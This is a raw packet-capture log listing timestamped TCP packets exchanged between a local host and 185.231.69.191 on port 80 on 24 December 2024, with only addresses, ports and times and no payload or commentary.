Dec 24, 2024 14:02:37.818698883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.818777084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.818821907 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.819571018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.819638968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.820216894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.820265055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.820642948 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.820661068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.820691109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.820700884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.821388960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.821433067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.822608948 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.822622061 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.822628021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.822689056 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.823367119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.823429108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.823723078 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.823777914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.824348927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.824362040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.824410915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.825304985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.825360060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.825515032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.825566053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.826348066 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.826359034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.826400042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.827250957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.827297926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.827383995 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.827430964 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.828243017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.828293085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.828758001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.828804970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.829241991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.829289913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.829301119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.829339981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.830188990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.830246925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.830697060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.830746889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.831244946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.831300020 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.831341028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.831382036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.832163095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.832210064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.832658052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.832709074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.833132029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.833182096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.833326101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.833373070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.834104061 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.834152937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.834182024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.834224939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.835098028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.835145950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.835284948 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.835330009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.836062908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.836110115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.836174011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.836219072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.837070942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.837116957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.837224007 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.837323904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.838112116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.838160992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.838243961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.838288069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.839046955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.839095116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.839221954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.839263916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.839987993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.840034008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.840173006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.840219975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.840965033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.841016054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.841455936 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.841526031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.842017889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.842031002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.842061043 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.842073917 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.842940092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.842984915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.843055010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.843118906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.844023943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.844042063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.844079018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.844099045 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.844851017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.844897985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.986181021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.986267090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.986316919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.986366987 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.986911058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.986923933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.986963034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.986978054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.988188028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.988244057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.988353014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.988390923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.989339113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.989401102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.989579916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.989626884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.990272045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.990315914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.990328074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.990372896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.991090059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.991136074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.991305113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.991350889 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.992147923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.992194891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.992228031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.992271900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.993163109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.993212938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.993309021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.993350983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.994045973 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.994088888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.994327068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.994370937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.994934082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.994982004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.995186090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.995243073 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.995806932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.995858908 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.995918036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.995959044 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.996534109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.996587038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.996675968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.996718884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.997471094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.997514963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.997720003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.997761011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.998342991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.998389006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.998877048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.998933077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.999316931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.999361038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.000144005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.000191927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.000288010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.000329971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.000379086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.000420094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.001307011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.001348972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.002088070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.002278090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.002365112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.002413988 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.002429008 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.002470970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.003249884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.003305912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.003451109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.003499031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.004226923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.004276037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.004446030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.004492044 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.005182028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.005234957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.005346060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.005393982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.006175995 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.006222963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.006252050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.006295919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.007138014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.007177114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.007185936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.007214069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.008128881 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.008148909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.008178949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.008196115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.009094954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.009143114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.009227991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.009274006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.010086060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.010143995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.010230064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.010273933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.011056900 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.011101007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.011204958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.011245966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.012136936 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.012186050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.012243032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.012286901 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.013029099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.013076067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.013231993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.013279915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.014158010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.014204025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.014226913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.014266968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.014978886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.015031099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.015232086 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.015278101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.015953064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.016002893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.016109943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.016159058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.016931057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.016978979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.017010927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.017059088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.017925024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.017971992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.018028021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.018074989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.019010067 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.019061089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.019140005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.019187927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.020107031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.020175934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.020231962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.020277023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.021092892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.021142006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.021369934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.021418095 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.021991968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.022039890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.022109985 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.022156954 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.022855997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.022903919 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.022989035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.023036003 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.023787975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.023835897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.023962975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.024008989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.024893999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.024940968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.025052071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.025098085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.025803089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.025865078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.025999069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.026050091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.026823997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.026868105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.027035952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.027081013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.027826071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.027870893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.027982950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.028028965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.028759003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.028808117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.028925896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.028975964 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.029742002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.029788971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.030109882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.030158997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.030925989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.030972958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.031054974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.031104088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.031696081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.031745911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.031955957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.032001972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.032640934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.032684088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.032780886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.032824993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.033603907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.033655882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.033688068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.033729076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.034569025 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.034617901 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.034848928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.034893036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.035535097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.035583019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.035861969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.035907984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.036520004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.036567926 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.036919117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.036967993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.037467957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.037517071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.178443909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.178509951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.178586006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.178633928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.178901911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.178914070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.178956032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.179836988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.179889917 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.180241108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.180290937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.180795908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.180850029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.181097031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.181148052 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.181804895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.181858063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.182003975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.182054996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:38.182775021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:38.182823896 CET	49787	80	192.168.2.6	185.231.69.191
